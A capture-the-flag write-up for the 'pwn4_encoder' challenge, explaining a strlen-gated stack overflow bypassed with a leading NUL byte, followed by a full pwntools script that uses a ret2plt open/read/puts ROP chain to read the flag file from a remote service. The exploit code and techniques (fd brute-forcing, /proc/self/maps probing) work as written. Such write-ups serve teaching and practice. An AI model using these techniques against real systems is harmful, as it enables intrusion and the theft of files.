pwn4_encoder
pwn4_encoder
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: fd_brute_force, leading_nul_strlen_bypass, open_read_puts_chain, proc_self_maps_recon, ret2plt_rop
Summary
Task: NON-PIE x86-64 'EnCoder' pwn that hides a stack buffer overflow behind a strlen length gate; the XOR-random encoding output and clock() timing are deliberate red herrings. Solution: bypass the strlen(buf)>0x10 check with a leading NUL byte (read() still copies the full 1024-byte payload), then ret2plt ROP an open/read/puts chain to dump /home/task/flag.txt — brute-forcing the file descriptor (open returns fd 5 under socat, not 3).
pwn4_encoder — pwn_spbctf
Description
Here is EnCoder
Author: Artur Khanov (@awengar) — category Pwn, tier pwn4 "shellcoding" Remote:
nc 109.233.56.90 11675
A 64-bit x86-64 ELF "encoder" service. Despite the name and the "shellcoding" tier label, the real bug is a classic stack buffer overflow. The goal is to read the flag file from the remote container.
Analysis
Binary properties
ELF 64-bit LSB executable, x86-64, dynamically linked, not stripped
NON-PIE (loaded at 0x400000)
NX enabled
No stack canary
NON-PIE + NX + no canary is the textbook setup for a straightforward ret2plt ROP — all PLT stubs and gadgets sit at fixed addresses, and there is no canary to leak.
The red herrings (DELIBERATE — leak nothing)
main reads input and calls encode(), which:
- opens
/dev/urandominto a globalrandom_bytes[0x400], - for each input byte computes
out[i] = ((src[i] ^ random_bytes[i]) % 26) + 'a', - prints
"%s %d %.4f"— the encoded string, the input length, and aclock()timing value.
Both the XOR-with-random output and the timing are intentional distractions:
- The encoding has no data-dependent branch, so the timing only reveals the input length, nothing about its content.
- The XOR is against fresh
/dev/urandombytes, so the printed string carries no recoverable information.
When a "pwn" binary advertises an encoder/crypto gimmick but then reads far more bytes than its buffer can hold, the crypto is theater — look for the overflow.
The real vulnerability — overflow behind a strlen gate
main @ 0x40128c:
c read-only • copy allowedchar buf[0x40]; // 64-byte stack buffer at rbp-0x40 read(0, buf, 0x400); // reads up to 1024 bytes -> overflow if (strlen(buf) > 0x10) { // the ONLY guard puts("...16 bytes max!"); exit(0); } encode(buf);
The guard checks strlen(buf) > 0x10, but read() has already copied the
full 1024 bytes into the 64-byte buffer before the check runs. strlen stops at
the first NUL byte, so a payload that starts with \x00 makes
strlen(buf) == 0 and sails through the gate, while the bytes after the NUL
still sit on the stack and overwrite:
- saved RBP at offset 64,
- saved RET at offset 72.
Gadgets and PLT (fixed, NON-PIE)
PLT:
puts 0x401030
printf 0x401060
read 0x401080
open 0x401090
Gadgets:
pop rdi ; ret 0x4013c3
pop rsi ; pop r15 ; ret 0x4013c1
pop rdx ; ret 0x401285
ret (alignment) 0x40101a
BSS scratch:
path string 0x404300
file buffer 0x404400
Solution
ret2plt ROP chain implementing open / read / puts to leak the flag file. The
flag path is sent in a second stage via an initial read() into BSS, so we
don't need the path string baked into the (NUL-sensitive) first payload.
Chain:
read(0, BSS_PATH, 64)— send the flag file path as stage-2 input.open(BSS_PATH, 0)— open the flag file; fd lands inrax.read(fd, BSS_BUF, 200)— read file contents.puts(BSS_BUF)— print them.
Gotcha 1 — file descriptor is 5, not 3
On a normal local run, the first open() returns fd 3. On the remote, the
service runs under socat, which dups the client socket onto fds 3 and 4, so
the freshly opened flag file gets fd 5. The read() in step 3 must use the
correct fd. The fix is to brute-force fd ∈ {3,4,5,...} (exp_fd.py), and fd
5 works on the remote.
Gotcha 2 — locating the flag file
Initial guesses (/flag, flag, /s3cr3t_f1l3_w1th_fl0g) did not exist. Using
the same ROP primitive to read /proc/self/cmdline ("./task") and
/proc/self/maps (binary at /home/task/task) revealed the working directory is
/home/task/. The flag file is therefore /home/task/flag.txt.
Exploit (exp_encoder.py)
python read-only • copy allowed#!/usr/bin/env python3 import sys, time, re from pwn import * context.update(arch='amd64', os='linux', log_level='info') HOST, PORT = '109.233.56.90', 11675 plt_puts = 0x401030; plt_read = 0x401080; plt_open = 0x401090 pop_rdi = 0x4013c3; pop_rsi_r15 = 0x4013c1; pop_rdx = 0x401285; ret = 0x40101a BSS_PATH = 0x404300; BSS_BUF = 0x404400 def chain(fd): pad = b'\x00' + b'A'*71 # leading NUL => strlen==0 passes the gate c = b'' # 1) read(0, BSS_PATH, 64) -> stage-2 path string c += p64(pop_rdi) + p64(0) c += p64(pop_rsi_r15) + p64(BSS_PATH) + p64(0) c += p64(pop_rdx) + p64(64) + p64(plt_read) # 2) open(BSS_PATH, 0) c += p64(pop_rdi) + p64(BSS_PATH) c += p64(pop_rsi_r15) + p64(0) + p64(0) + p64(plt_open) # 3) read(fd, BSS_BUF, 200) -- fd is 5 under socat, NOT 3 c += p64(pop_rdi) + p64(fd) c += p64(pop_rsi_r15) + p64(BSS_BUF) + p64(0) c += p64(pop_rdx) + p64(200) + p64(plt_read) # 4) puts(BSS_BUF) c += p64(ret) # 16-byte stack alignment (movaps safety) c += p64(pop_rdi) + p64(BSS_BUF) + p64(plt_puts) return pad + c PATH = b'/home/task/flag.txt' FD = 5 # remote: socat dups occupy 3/4 io = remote(HOST, PORT) payload = chain(FD) assert len(payload) <= 0x400 io.send(payload); time.sleep(0.4) io.send(PATH + b'\x00'); time.sleep(0.4) data = io.recvall(timeout=8) print(repr(data)) m = re.search(rb'SPBCTF\{[^}]*\}', data, re.I) if m: print("FLAG:", m.group(0).decode()) io.close()
To find the fd / path interactively, exp_fd.py runs the identical chain with a
parameterised fd and path so you can sweep fd 3 -> 5 and probe
/proc/self/cmdline, /proc/self/maps, and candidate flag paths.